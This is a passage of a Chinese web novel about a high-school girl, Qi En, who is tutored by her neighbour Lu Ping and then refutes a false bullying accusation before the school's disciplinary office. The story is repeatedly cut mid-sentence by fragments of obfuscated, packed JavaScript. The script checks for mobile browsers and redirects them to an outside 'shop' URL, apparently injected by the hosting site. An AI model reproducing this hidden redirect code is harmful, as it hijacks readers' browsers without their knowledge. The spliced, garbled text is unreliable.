卢俜说:“看看吃点什么。” “我来榕城这么久,还没吃过蟹王面呢!” “就是粿面,有海鲜蟹黄,口感很鲜甜。” “啊,我要一碗。”齐恩大声说。 “老板———!蟹黄面!” 卢俜点了一碗鳝鱼面,他吃面条慢吞吞,还要吹几口,很斯文。齐恩吃得鼻尖冒汗,又想起询问他宿醉的后续:“你昨天晚上还好吧?” “没事。”卢俜说,“缓一会儿就好了。” “那看来是上头快,下头也快。多喝多练。”卢俜冷飕飕地瞥她一眼,心想那都怪谁。 “干嘛,可不是我灌你,你自己非喝那么多。怎么样,偶尔借酒消愁,感觉还不错吧?” “没有消愁。”卢俜也不觉得感觉不错。 身体会变成不能控制的东西。 然后产生一系列麻烦。 不知为什么,卢俜的眼前浮现出齐恩环臂靠在他家门口的画面。还有她那一句轻佻的: “好学生,我不坏啊。” 卢俜抿了抿唇,埋头吃快了一些,随后起身去结账。齐恩吃不完粿条,擦了擦嘴跟上他。 “去你那学?我要先回家一趟,拿月考卷。” “好,还是那几样。收拾好就来我家。” “哟———!”齐恩用胳膊肘抵他的肩膀。 “是谁昨天晚上还赶我啊?” 卢俜的脸倏然红了。 “……别闹我。” 齐恩哈哈哈大笑,不侃他了。 到卢俜家的客厅,齐恩发现和昨天的摆设不太一样了。矮桌被几本旧书垫高,更方便写字,昨天的塑料小凳也被换成软垫。她席地而坐,后背能靠着松软的沙发,也不容易腰酸背痛。 “可以啊老师,这么体谅学生。”齐恩笑得很得瑟,“其实你超在意我昨天说的话吧?” “……没有。”卢俜递出一杯冻乌龙给她。 齐恩摆手:“我这两天喝不了冰的啦。” 卢俜起身去岛台烧水,拿出一盒茶包,给她泡了杯热红茶。齐恩翻出昨天他布置的题: “有几道不会,看答案才知道。” 齐恩后知后觉:“是不是不能看答案啊?” “不是。有自己思考的过程就可以。” 再次把昨天难以入目的月考卷翻开,齐恩有了干劲,卢俜拿起笔,继续给她讲后面的大题。 十七到十九是三角函数、数列和应用题,齐恩拿满了,所以她这次考得还可以。从立体几何开始是重灾区,最后三题齐恩只能做出第一小问,这不能怪她,圆锥曲线和导数本来就难。 “立体几何还是可以试一试的。”卢俜说,“你把垂直证出来了,这就是条件,很多情况下第一小问和第二小问关联很大,在这个基础上再做辅助线,其实这就是一个墙角模型。” “模型?”齐恩一头雾水,“还有高手?” “不是高手。”卢俜拿出草稿纸,开始作图。 “一些常用立体几何模型,我们老师总结的是八种,其中包括墙角、垂面、矩形、折叠……每一种模型都有对应例题和方便计算的公式,只要练熟了,到考场上直接套公式就可以。” “有公式就是快!”齐恩感慨。 “今天你把这张纸吃透就行了。” 卢俜用笔尖点了点那八个图形。 一个上午的时间,卢俜都在给齐恩做证明,得结论。只要涉及几何,任何事物都会变得抽象起来,齐恩简直想不到有一种题型能既考验人的图形想象能力,又考验人的公式计算能力。 “但也有好处。”卢俜说,“只要你辅助线做得好,能省很多计算步骤。所以对于有些人来说几何就是一生之敌,他们看到图就会害怕,有的人反而卷子一发下来就去看二十题。” “我觉得我是前者。”齐恩惶恐。 卢俜很有耐心:“不要怕它。” 把草稿纸折进错题本里,齐恩问卢俜借厕所,卢俜说卧室旁边。想到她说来生理期了,卢俜十分委婉地问:“需不需要我去买……” “不用,我有。我用的卫生棉条。” 卢俜不知道是什么,查了一下。 这个年龄的女生大多用卫生巾,很少用卫生棉条,国外的女性可能多些。这是一种很方便的经期产品,更环保便携,也更不容易漏出来。 底下也有一些不友好的评论,大抵是说用的都不是处女云云,随即有人反驳他,处不处和你有鸡毛关系,鸡都没有鸡毛长的东西,鸡毛长见识短,很多运动员都用卫生棉条好吗? 卢俜顺手点了个赞。 齐恩从卫生间出来,他们继续解决剩下的两个大题。就这么讲到下午两点。卢俜口干舌燥,齐恩更是头脑冒烟,中途喊停,“再讲下去就要黑化了,老师就知道他的王牌又回来了。” “那是什么意思?” 齐恩说你看这个。 视频里一个六七岁的小妹妹,滤镜开得很重,轻蔑道:“当老师看到我一身黑衣,从短裙换回长裤,从顺发换回马尾,对所有人热情却保持高傲,老师就知道,他的王牌又回来了。” 卢俜实话实说:“……有点非主流。” “要不我怎么爱看呢。”齐恩笑了。 “高玟说我就是看这个才把脑子看坏的。” “你脑子不坏,只是做题还不够熟练。” 齐恩叹息一声,说他不够幽默。 幽默,卢俜心想,陌生的词。 “诶,下课了,老师。”齐恩把脚丫一翘,“我就不尊师重道了,你去给我炒俩菜。” 卢俜说没有菜,齐恩说我开玩笑的,卢老师,咱们吃点零食吧,你看中午的饭点都过了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598887|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 齐恩去挑冰箱里的零食,平时她不吃热量高的,但来姨妈了就想吃点甜食。她拿了一盒泡芙和两包薯片,蹦蹦跳跳地回到桌前。卢俜在吃面包,她不客气地抢过吐司纸袋放到一边。 “吃点好的吧!”她递给他一只泡芙。 卢俜没有接过:“这个我不爱吃。” 齐恩突然就咯咯笑了,卢俜还不明所以。 “还说不是给我买的!”她戳他胸口。 卢俜也意识到自己露馅了,慌忙移开视线。 他捏了捏鼻尖,“……我没那么说过。” “好啦,好啦,别嘴硬啦,来,尝尝看!” 齐恩把泡芙递到他嘴边,卢俜伸手去拿。 “张嘴!”齐恩瞪他。他只好咬了一口。奶油太多了,顺着缺口冒出,他用一只手接着吃,齐恩也帮他接着。卢俜吃不懂这个,咬一点,又有奶油要流出来,他只能一整个吞下去。 在这个过程中,卢俜感觉自己的嘴唇隔着奶油一下下碰到她的拇指,冰冷中有温热的触感。真尴尬,触碰到别人的身体。卢俜目光闪烁,齐恩却没有察觉到,反而问他:“好吃吧?” “……还可以。”他离远了些她的指尖。 “不开心的时候,就是要吃点甜食才会开心,我可没骗人,就和借酒消愁一个道理。” “我没有不开心。也没有想借酒消愁。” “小猫开不开心,我一看就知道了。” “……” 下周周考时,齐恩对自己的数学胸有成竹,有学神卢俜的加持,她觉得自己肯定及格保底,没想到周五卷子发下来,还是把齐恩给整老实了。看着七十九的标红,她的沉默震耳欲聋。 “Tellmewhy———!” 齐恩激情献唱一首。 “你这都算好的了。”袁礼米说,“你看高玟,上次数学一百一,这次只有九十一。” “我不舒服!我不舒服!”高玟捂着自己的脑袋,“别再说了,我不舒服啊啊啊!” 只考五十六分的谌俞问她哪里不舒服。 高玟安详地闭眼:“我尸体不舒服。” 不能怪学渣们,这周的考卷确实出的太难了,一般选填简单,大题就会难一点,或者相反,这次则一个都不沾。就连办公室的老师们也在骂,这谁出的啊,太有病了,存心打击学生。 张其薪刚从办公室回来,“柯女士出的。” “破案了!我说是谁啊!快期末了还搞我们心态!一班的老师真的有病吧!”高玟怒骂。 “不是,你说她出这么难的卷子图什么啊?”谌俞叫苦不迭,“凸显她的教学水平吗?” 齐恩摇头说不知道,高玟冷哼一声:“凸显他们班奥数天才多呗,卢俜这次不又是第一?” “他这次考多少啊?”齐恩问。 “一百四十五。”张其薪回答。 “我看到时候高考,每个班挑几个去算了。”高玟忧心忡忡,“我这个实力,考了也只能给人家当炮灰,将来毕业打包去工地算了。” “你这么想,谌俞以后怎么办?” “我去给趣多多点巧克力豆!” “那我去泡面厂给人家装调料包。” “我去卖东北烤冷面。”高玟说。 袁礼米:“那我去给小学生辅导英语。” 聊到辅导,张其薪说如果期末没考好,暑假又要报培优班,原本想着去看足球赛。齐恩问:“你是自己想报,还是家里人非要你报啊?” “他爹管他学习很严。”谌俞解释。 齐恩多看了一眼张其薪,原来班长的学习压力也不小。更何况他还把卢俜当作对手,这次分数和人家差了那么多,心里肯定更不是滋味。 上午两节数学课,周考能讲个热乎的。 齐恩竟然勉强跟上了陈老师的节奏。 大课间的时候,刘彩来班上一趟。 他把齐恩给单独叫出去了。 彩老师严肃地问了几个问题。 齐恩愣住了:“……什么?” “方婕说我霸凌她?” 17. 无的放矢 这世界太疯狂。 耗子都给猫当伴娘。 齐恩听到笑话无非是这个反应,刘彩看着她,她就开始乐,乐得捂住肚子弯了腰。 刘彩看她这反应,也是松了一口气,原本他被喊到政教处问责的时候还有些迟疑。 齐恩指了指自己:“我,老师,是我啊。” “没做就好。”刘彩说,“老师去调解。” 齐恩心想你调解啥,上次张其薪和周第那事不也靠我么:“在哪儿,老地方么?我也去。” “情况有点复杂,对方的家长也来了。” “谁啊,方婕?她爸不是校董会的吗?” 刘彩心想她真是门儿清。 “是啊,你们学生都知道?” “我一个刚来两三个月的都知道,你说呢?” 刘彩尽显打工人本质:“你比还我清楚。” “你这不行。”她还批评起老师来了,“平时多流通流通消息,走一走人脉,免得再和上次一样,被一班的柯女王吊着打。面子工程是肯定要做的,嘴也是要快的,不然没处说理。” “柯女王?”刘彩忍俊不禁,“谁这么喊?” “同学们背地里肯定瞎喊啊,越恨她越这么喊,说女王拿周考狠狠拷打我什么的。” 刘彩不是不玩抽象,只是没想到还有高手。都是年轻人,能嬉皮笑脸,谁想摆老师的架子:“隔壁班主任说他们班都考蔫巴了,也在骂柯俐,说她没事吃溜溜梅,闲(咸)得慌。” “隔壁班主任不就是秦东东?老师你不知道,班上同学现在都认秦东东老师当干爹了。” “秦东东是你们能喊的?一点也不尊师重道!”刘彩追问,“怎么还认人家当干爹?” “你不知道啊?”齐恩把上周食堂那事讲了。 刘彩摸下巴:“和方婕说的还真是不一样。方婕说你污蔑她,在学校里败坏她风评。” “我了个倒反天罡啊,我败坏她风评?”齐恩左手扶额比了ok的手势,她实在无言以对,她都还没有拿聊天记录说事呢,方婕倒是恶人先告状了,谁张嘴谁有理了吗? 两人走到政教处门口。刘彩叮嘱她不要紧张,不要上头,问她什么就实话实说。 其实刘彩并不担心这个,齐恩遇事的种种反应,都说明她绝对不是好招惹的学生。 齐恩进门,果然很多人,从左到右看了个遍,方婕和她那个校董会的爹,一旁陪笑的柯俐,还有周第和其余几位一班学生,拧着眉头的秦东明,齐恩就知道要说的是什么事儿了。 她最后看向温主任:“主任好,您喊我?” 其实是没喊她的,但是当事人都在这儿了。 “方婕说你污蔑她,这是怎么一回事?” 温主任发话,所有人的目光都集结齐恩。 首先是美丽,其次是困惑,她看向方婕: “是啊,方婕,这是怎么一回事儿?” 柯俐脸色铁青:“别在这里嬉皮笑脸的,齐恩!每次都是你们班闹事,上次张其薪打人那事也有你,月考作弊也有你,还有这次食堂闹事,你们班真是邪没完了,谁管都不服气!” 当着众人的面,这明显是不给刘彩的面子。 他上前一步要开口,齐恩用肩膀撞了撞。 “老师,话不能瞎说哈,要凭证据的。所以我说谣言怎么那么难澄清呢,造谣一张嘴,澄清跑断腿。”齐恩自顾自找沙发坐下,前两回来她都是有沙发坐的,这轻车熟路的架势,搞得学校真是她家一样,“你这一说完了,全校都以为我们班打人、作弊、不服学生会的管。” “谁准你坐下的,站起来!这是在问你的话!对老师就要有对老师的态度!”她吼完,看到一旁的方校董满意的神色,心中也多了底气。 齐恩煞有其事:“等我先报个警。” “……什么?”柯俐不可置信。 “我要报警,柯老师公然污蔑诽谤我、捏造事实诽谤我。”齐恩说,“我政治学得不算好,但也知道如果个人利益受到侵犯,要用法律为武器保护自己,让对方承担相应的责任。” 眼见柯俐气得整张脸都在抽搐。 齐恩心道这招还真是屡试不爽。 “你说人家老师污蔑你。”方爸爸终于开口,带着长辈对小辈的威压,“你有证据吗?” “那方婕说她污蔑我,她难道有证据吗?” “人证物证都在。”柯俐说,“周第你说。” 周第站出来:“我可以作证,齐恩污蔑方婕,说方婕造谣了她,当时在场的一班人都知道。我们本来是要解释的,结果秦老师什么也不问就硬说是方婕的错,搞得她被别人误会。” “而且他们班本来就翘课了,方婕只是公事公办而已,他们还记恨人家,说会长徇私。” “我也作证,当时高玟差点对我们动手!” 温主任说:“食堂监控调出来,你们班也是下课之前就到食堂了,虽然是体育课改成自习,但是提前下课也不符合学校的规章制度,你们是出教学楼了,你们的安全谁来负责?” 看似是责怪十七班,实则是把大事化小。只要刘彩认下自班同学提前下课,这事就算完了。 齐恩心里明镜似的,这番明罚暗保,其实温主任的态度也很有味啊,刘彩是有保护伞的。 只是,事情能这么简单就解决吗? 方爸爸说:“最重要的不是这个。” “我们家孩子平白遭受了侮辱,明明婕婕就是对同学老师都很友善的,也尽职尽责完成学生会长的工作,就因为这位女同学的几句话,把她塑造成别人眼中因嫉妒就无事生非的人。” “现在,有关婕婕的辱骂充斥了学生们的议论中,甚至还有学生道听途说,对我们家孩子在网络上进行攻击、谩骂,已经致使孩子产生了非常强烈的厌学情绪。我们需要一个结果。” 柯俐朗声:“根据我校规章制度,需要对校园霸凌的受教育者进行学籍管理,实施处分或劝退。齐恩行事这么嚣张恶劣,必须退学!” 刘彩一下就坐不住了:“什么退学?这也太武断了吧!这事是不是齐恩做的都不确定!” “人证物证确凿,还有什么不确定?”柯俐咄咄逼人,“刘老师,不是你这样包庇的!” 秦东明说:“温主任,其实当时两个班级的态度都有问题,我认为不只是十七班……” “那您也不能逮着方婕说吧,秦老师。”周第不服气地道,“您这不是帮亲不帮理吗?” 整个政教处已经乱成一锅粥。 齐恩觉得端起来就能喝了。 方婕却猝不及防地流下了眼泪。 “齐恩,你为什么对我意见那么大?” 所有人都因她的哭声而止住了话。 “我不知道自己是哪里得罪了你,但是我已经知道错了,我向你道歉。你能不能不要再针对我们班的人,把我们班的女同学关到器材室里?虽然你讨厌我,但是她们是无辜的啊!” 在场所有人都是一惊,涉及到行为霸凌,这可就不是动动嘴皮那么简单了。 “当时户外都快四十度了,你把她们关在那么小的器材室里,中暑了可怎么办?还好我正好听到她们的呼救,不然就真有生命危险了!这件事我一直没敢说,就是怕你再报复……” 温主任面色倏然一沉,立即问出那两个女生的名字,让柯俐赶紧把人喊了过来。 于是,齐恩看着自己曾经救过的女生,以惴惴不安的姿态,说出与事实完全相反的证词。 “是的,是齐恩,是她把我们关进去了。” “对,她当时让我们去拿东西。”另一个女生帮腔,“她让我们去拿,她就趁机拉闸门!” 温主任问一旁的安保是否调得出监控,安保回答可以是可以,但是器材室位置太偏了,门口那片空地都是盲区,只有器材室一角有监控。调出来之后,首先看到两个女生走了进去,确实做出了翻找东西的姿态。随后卷闸门突然就落下,并未完全关闭,而是被一根拖把翘住。 从监控视角拍不到外面,像素太差了,隐约只能看到卷闸门被卡住一道缝,两人因此获救。 齐恩终于知道方婕污蔑她的底气了,原来她自己把这出戏圆完了,也是辛苦她唱念俱佳。 “真是恶劣!太恶劣了!”柯俐痛心疾首。 方爸爸冷笑:“我竟然不知道自己投资和信赖的学校里,还有这样作风不正的学生存在。” 温主任为难地望向齐恩,刘彩更是脑门冒汗。 齐恩却兀自抬下巴:“你们现在摆完了吧?” “……摆什么?”明知道齐恩牙尖嘴利,话里不止一个意思,柯俐还是下意识地接了话。 “龙门阵、鸿门宴,摆完了没?” 齐恩好整以暇地望向温主任。 “我现在可以替自己申辩了吗?” 周第插嘴:“我倒要看你怎么说出一朵花!” “第一个就是你周第。打架斗殴那事,最后的结果你忘了吗,当着大家的面给张其薪道歉,低声下气的那样子,你难道忘了吗?听到要处分你,魂都快吓没了,啧啧,你忘了吗?” “齐恩……你!”周第气急。 “我怎么?你公然辱骂刘彩老师和高玟,造谣我们班谌俞,根本不看让温主任查收声监控,你忘了吗?”齐恩见他上前一步,丝毫不退,“恼羞成怒要动手了?你又想挨处分了?” “看吧。”齐恩冷笑,“你可以这样对别人,别人这样对你,你就破防了,真好笑。” 眼看局面讨不着好,柯俐强行切了话题: “齐恩,我们在说的又不是这件事!” “又说回你了,柯老师,说我作弊那事,难道你比出卷组的老师更权威一些?当时办公室里的老师都说我没作弊,这就是最后的结果,你不分青红皂白污蔑我,你要说的是这件事?” “你……你……”柯俐被扣了一顶大帽子。 方爸爸敲桌:“我现在只想谈谈婕婕的事。” “当然,这也是要谈的。”齐恩看向了方婕。 “你想好了,方婕,撒谎要付出什么代价。” “我……”方婕被她问得险些露怯。 “我没有撒谎,我说的是实话!” “我给过你机会了。”齐恩眯了眯眼。 “我确实……给过你机会。” 她拿出手机,打开,调出那张聊天记录。 “这个头像是你吧,说的那些话。”齐恩把手机放在桌面上,筹码一样推出去,推到方爸爸的面前,“这是你家女儿和她同班同学对我的造谣,包括但不限于说我假摔、说我骚扰他班男同学、说我人品奇差、说我和温主任卖惨。很有意思的是,她还倒打一耙说我造谣她。” 方爸爸和温主任同时看向屏幕。 白底黑字使他们的神色愈发凝重。 方婕捏紧袖口,其中一个女生急忙道: “这些都是齐恩空口捏造的!我们从来没有给她发过这些,都是她自己做的假证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“方婕,你说是你救了她们,可除了她们并没有别的证人,所以你单独救的她们,对吗?” 方婕点了点头,齐恩指着监控最后的画面:“可是这里显示有两个人影,你想做伪证,忘了那天下午太阳很大,握着拖把杆的人是你,但右上方角落还有个黑影。你不是一个人。” “那……也许是树的影子……” “空地上,怎么会有树的影子?”齐恩耸了耸鼻尖,揶揄地反问,“你说是你救的人,当时卡住的那只拖把是什么颜色,你还记得吗?” “当时情况危机,谁会记得啊!”周第辩白。 “你不记得吗?可我记得,拖把太老久了,是灰色的,根本分不清颜色。实在是太老久了,所以拖把杆中途断裂,闸门下压,真是好惊险,千钧一发之际……”齐恩点在那个黑影上,“这个人,对,就是这个好心人,用他的肩膀扛起了底盘,用身体充当了临时支架。” “他怎么没有出场作证呢?” 方婕说不出话来,齐恩步步紧逼:“因为你根本没有救人,和他一起救人的不是你。你知道他是谁吗?真好笑,你所谓我死缠烂打的人,卢俜,是他和我一起救的人。“她抬起手上的疤痕,“这是当时卡门闸的那根旧拖把断裂,在我手上留下的伤口,你当然不会知道。” 齐恩眯了漆黑的眼,扯出残忍无谓的笑意。 “方婕,你敢不敢把卢俜叫过来对证?” 柯俐显然意识到事态的真相,然而再怎么也要替方婕辩驳:“但是这两个女生的证词……” “啊,是。”齐恩走到两名女生面前,俯身轻声地道,“我确实,给过你们机会了。” 她拿出一只录音笔,当着众人的面摁开。 “谁说的?”齐恩的声音。 “那个谁……方、方婕吧。” “是就是,不是就不是,吧是什么意思?” “是她是她,她老爱说人坏话了……” 方婕和两位女生的脸上瞬间没有了血色。 “害怕了?”齐恩切到下一段,“还有呢。” “是方婕做的。方婕说学生会的日志落在里面,让我们课间来取一趟,我们来了,就遇到这样的事。谢谢你和卢俜,多亏你们来了,不然我们要在这里被关一节课了。” “你不是我们,你不知道的,这件事如果不计较,过去就过去了……方婕的爸爸事校董会的,柯老师……柯老师也不敢公事公办……” 录音笔结束了播放。 办公室内陷入冰封。 温主任冷声:“是这样吗,柯俐?” “主任,我、我也不知情啊……” 齐恩把玩着录音笔,露出一个标准的笑容:“我确实有录音的习惯,遇到奇怪的事,这样做总比什么都不做好。大家可能不是很理解,在国际赛场上接受采访,经常会被媒体记者们恶意揣测和引导发言,有时候队内的前辈也会说些难听的话,我习惯这样来保护自己。” “我只是不明白,为什么在学校也会用上。”齐恩更疑惑的是:“你们为什么要污蔑我?” “对不起……”女生们哭得上气不接下气。 “为什么?”齐恩只是想要一个答案。 一时间只剩下此起彼伏的抽泣声。 “方婕欺负过你们,但是我没有。那为什么你们不对付方婕,反而来对付我?难道你们不怕我家里也有背景,以此来要挟,让你们上不了学,或者我现在也硬要找温主任讨个说法?” “不,不会的……齐恩你是好人……” “好人?”齐恩重复一遍,她不再笑了。 她生气了。 “好人就得让你们拿枪指着?” 18. 主任的茶 方婕两脚一软,竟然直接晕了过去。 方爸爸也顾不得其他,给了温主任和柯俐一个有深意的眼神,就急匆匆抱着爱女离开。 温主任目送捐了两栋楼的校董,让其余的学生都离开,两位班主任和当事人齐恩被留下来。 他这才松了一口气,徐徐坐回办公椅上,往额头上一抹,竟然是一脑门子的汗,他叹息道: “你们一班和十七班啊,我该说什么好?” 刘彩和秦东明还沉浸在方才齐恩舌战群儒的精彩表现里,柯俐急道:“主任,这事就算方婕做的不对,方先生也是学校的投资人……” “你应该问的人是齐恩。”温主任望向仍坐在沙发上的受害者,“尽量取得人家的谅解。” “……不接受谅解。”齐恩面无表情地道,“该怎么处理就怎么处理,公事公办。” “你……”柯俐郁结,“这件事要是闹大了,对谁都不好,你也拎得清状况吧!” “我还没闹大呢,我好歹没报警吧。”齐恩也不和她逼逼,“柯老师,我和刘老师秦老师,我们想要的不过公平二字,这很难吗?” “可做人留一线,日后好相见啊。”柯俐咬牙道,“不是老师说,你以后到社会上……” “以后是以后的事。可我现在还是个学生,在我们学校读书,我有权得到老师们的帮助。” “还是老师您觉得,给学校捐了楼的学生才算学生,我们这种平头老百姓就不算学生了?” “这……你……”柯俐实在说不过她。 “而且,听您刚才那副说辞,如果我没解释,可是直接退学呢。老师您可没给我留一线。” “齐恩。”温主任终于开口调停,“我们就按照规章制度来,该停课停课,该处分处分,但这样的事也有辱学校的风气,最好不要声张,就不做处分公告了,你看这样接不接受?” 齐恩抬了抬后颈:“早这样不就完事了?” “主任,方先生他肯定……”柯俐急切起来。 “方爸爸刚才也知道了全情,明白我们这样做的原因,当家长的肯定要学会体谅和接受。”温主任不再给任何人反驳的机会,“好了,你们都先出去,我要单独教育齐恩几句。” 等所有人走了,温主任开始慢悠悠泡茶。 “这些人啊。”他说,“一个不让我省心。” 齐恩笑了笑,没有说话,低头看手机。 温昆然把茶夹到她跟前:“铁观音。” 广东人爱喝茶,齐恩知道,“谢谢。” “这茶还可以吧?”温主任问。 齐恩刚才看到了:“正味?” “你居然还懂铁观音啊。” “我爸爸爱喝福建茶。” “你爸爸……”温主任有意把话题引导下去。 “普通人。”齐恩哪能不知道他在想什么。 温主任无奈地摇头笑了笑,又感慨:“你这个性格,太狂了,有没有人这样说过你?” “有啊,没退役的时候记者采访我,有的也说我性子比较傲,教练也是,让我说体面话。” “你这个性格以后到社会上有好有坏。” “我爸也这么说。”齐恩不以为然。 齐恩把手里的录音笔推给温主任。 “您来处置就好,我手上没别的了。” 解决了一个不大的心患,齐恩信步闲庭地往教室里去,却没想到和十七班的同学撞个正着。 “齐恩!”高玟最先攥住她的手,“怎么样?温主任怎么说?我们一下课就组团来帮你!” “你们来晚了,团战结束了才来。”齐恩扶着额头,痛心疾首,“就像人家说的那一句,天热了知道递棉袄了,人饱了知道添米饭了,尿完了知道找厕所了,裤子提了知道擦屁股了,孩子死了知道来奶了,一句话———晚了!” “啊!完了完了!”有人唉声叹气,“没事的,齐恩,我们都相信你不是那种人。” “就是,实在不行……我们去写检举信,去校长办公室闹,去网上曝光,总能有办法的。” 又有人问:“那结果怎么样啊?” “估计处分、退学呗。”齐恩耸肩,“没事啦,天塌下来碗大块疤,不妨碍我是良民。” 张其薪一只手摁住她的肩膀,神情有些焦急,凑近低声道:“没事,我会想办法帮你的。” “我?”齐恩大笑,“你得帮方婕!” 一时间,所有人都面面相觑。 谌俞第一个反应过来,上来就勒住齐恩脖子。 “齐恩你敢耍老子!操!老子都要流泪了!” “你那不是要流,你是已经流了!在班上都哭三回了,第一回说自己太冲动,第二回要替齐恩蹲局子,第三回让我们照顾好你爸妈……” 谌俞一把捂住高玟的嘴,齐恩这才看出他眼圈红红,不由得揶揄:“男儿有泪不轻弹啊。” 袁礼米也是松了一口气:“有人路过政教处,正好听到柯老师说什么要你退学,我们一听,吓都吓死了,哪里还有什么心情上课啊?” “好在你没事!”高玟忙不迭地接上,“咱们快点回班吧,还要听齐恩讲刚才的事呢!” “对对,先回班再细说,免得隔墙有耳!” 齐恩回到班上,删繁就简把原委说一遍,众人一时间说什么都有。齐恩好,方婕坏,温主任好,方爸爸坏,彩老师好,柯女王坏,秦东东好,周第坏……卢俜的评价倒是有好有坏。 “我原来还以为他是那种两耳不闻窗外事,一心只读状元书的人呢!原来心肠还可以啊!” “得了吧。”谌俞对他始终没好印象,“维持三好学生的人设而已啦,一班哪里有好人?” “嗬哟,这话从你嘴里说出来,我怎么就那么不敢相信呢?”高玟有的放矢,“是谁之前还说方婕没那么坏呢,这下不就见真章了吗?谌俞啊,我看你也是去人民医院挂个眼科吧!” “那……我那时候哪知道……”谌俞局促道,“话说,方婕的处罚什么时候下来啊?会公示吗?是不是也要像司长一样做国旗下检讨?” “多半不会。”齐恩把话说得很委婉,“校方的决定,可能就是警告处分和暂时停课。” “这么轻啊……”有人不满意。 也有人清楚其中的隐情。 “也可以了!”高玟打圆场,“起码让她长了个教训!让一班人知道我们也不是好惹的!” 大家同仇敌忾、一致对外的模样太可爱,齐恩不禁回忆起政教处发生的一幕幕,只叫她心底不舒服。和那样善于改口和背叛的人打交道,无论是交好还是交恶,都需要时刻敲响警钟。 中午,齐恩定的蛋糕到了,二十四寸的冰淇凌奶油蛋糕。谌俞和她顶着大太阳去门卫处拿。 保安还很惊讶:“这个牌子的居然能做这么大?”齐恩回答提前半个月去店里定制的。 回到班上,同学们都分到了蛋糕。齐恩切了奶油水果都很扎实的一块,给卢俜发去消息。 “来吃中国好邻居的生日蛋糕。” 卢俜回:“马上,十分钟。” “你在哪里?忙的话我可以给你送过去。” “不用,我在温主任这儿,弄完就来找你。” “不用来。我快好了。” “没事!我去找你!” 齐恩又打包几份蛋糕。 她把这些蛋糕分给了办公室里认识的老师。数学陈老师说牙口不好吃不了甜的,Miss余在减肥,只能吃半块,其余老师拿了一份,剩下没人吃的全都进了彩老师和秦东东的肚子里。 齐恩拎着最后两份蛋糕去政教处。 推开门,温主任和卢俜在谈话。 “今天来第二回了啊齐恩,你最好没闯祸。” “人和人之间最基本的信任呢,主任?”齐恩痛心疾首,“我特意来给您送生日蛋糕的!” “学校食堂不吃,净吃这种东西。” 话是这么说,温主任还是收下了。 她又递给一旁局促的卢俜。 “这是我挑的水果最多的!” 温主任笑说难怪卢俜来找他背书。 “什么背书?”齐恩不明所以。 “他刚才来替你保证,说你和那件事没关系,还找了管闸门的师傅做证。”温主任拊掌,“我说他来得也太晚了,再晚一点方婕的处罚就下来了,不过人家对你真是挺够意思的。” 卢俜缓缓抬手,扶住自己的前额。 这就是他不想让齐恩来的原因。 “哎呀卢俜!”齐恩大受感动,从身后拍他的肩膀,力气还不小,“我真没白疼你啊!” 卢俜不语,飞快把蛋糕吃完,太不自在,脸颊沾了一块奶油也没察觉。齐恩给他递纸,说吃慢点儿,又没人和你抢。卢俜接过纸就乱擦。 这场面更有意思了。 温主任纳罕道:“卢俜很少这么急躁啊。” “那是您没见过!”齐恩一副“没人比我更懂卢俜”的表情,“他就是这样的,不经逗。” 主任哈哈大笑起来,又问他们怎么变熟络的,齐恩解释是邻居。主任又说:“你们都住聚民老社区那块啊?我听说明年大概率要拆了。” “真的假的啊?”齐恩挑眉,也不见外,坐下就打听,“大概率是多大概率?确定了吗?” “我都说了是大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624254|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 率,你还要问、还要问。”主任又拿出一包茶叶泡茶,“自己去悟!” “那不得重新找地方了?这附近的学区房也不好找。”齐恩问,“明年年初还是年中啊?” “不好把话说的很绝对,如果年初的话,确实要搬……学校宿舍那环境是住不下一个你?” 齐恩憋笑:“别说了,咱们那宿舍,那床位,也太小了,您让方爸爸再给我校捐两栋呗。” 真是个活宝,温主任也笑了,又让她别在这儿大放厥词,小心被有心眼的人给听了去了:“寿星,喝茶吧。我的茶也不是谁都能喝。” 齐恩街溜子似的,讨杯茶就走了,主任还没止住笑:“要我说,家里有这么个讨喜的女儿,当爹的都乐死了,不知道哪家这么有福气。” 讨喜?卢俜没这么认为。 倒是很容易被她给吓到。 . 放学后,高玟组织大家给齐恩庆生。 还是原班人马,出发青年大街。 齐恩照例给卢俜发消息报备。 卢俜只回一句“好,知道了。” 袁礼米说天气太热不想吃火锅,烤肉也很腻,齐恩干脆带大家去一家复古的法式bistro。 “这种地方过了饭点人少,可以点吃的,也可以点酒水。”她介绍,“休息区还可以躺。” “啊,吃得好饱。”袁礼米歪在座位上,“好喜欢这家餐厅的氛围,灯光和音乐都很好。” “原来你喜欢这种风格啊。”齐恩懂了,“那你肯定也喜欢意国,都是巴洛克风格建筑。” “是啊是啊!我高考完一定要去西欧旅游!” “我想去巴西。”张其薪说,“看世界杯。” 谌俞激动地和他碰杯:“好兄弟,一起!” 齐恩问高玟:“你呢,有想好去哪里玩吗?” 高玟失落地说:“我就想和你们永远在一起。以后毕业了,肯定都到陌生的城市上大学了。到时候天南海北更不好相聚,说不定一年半载都见不到几次面,就像陌生人一样不联络。” 其余人顿时都沉默了。 “……我讨厌那种感觉。” 高玟握着空荡荡的啤酒杯,嘀咕道。 “明明曾经很熟识,再见却陌生。” 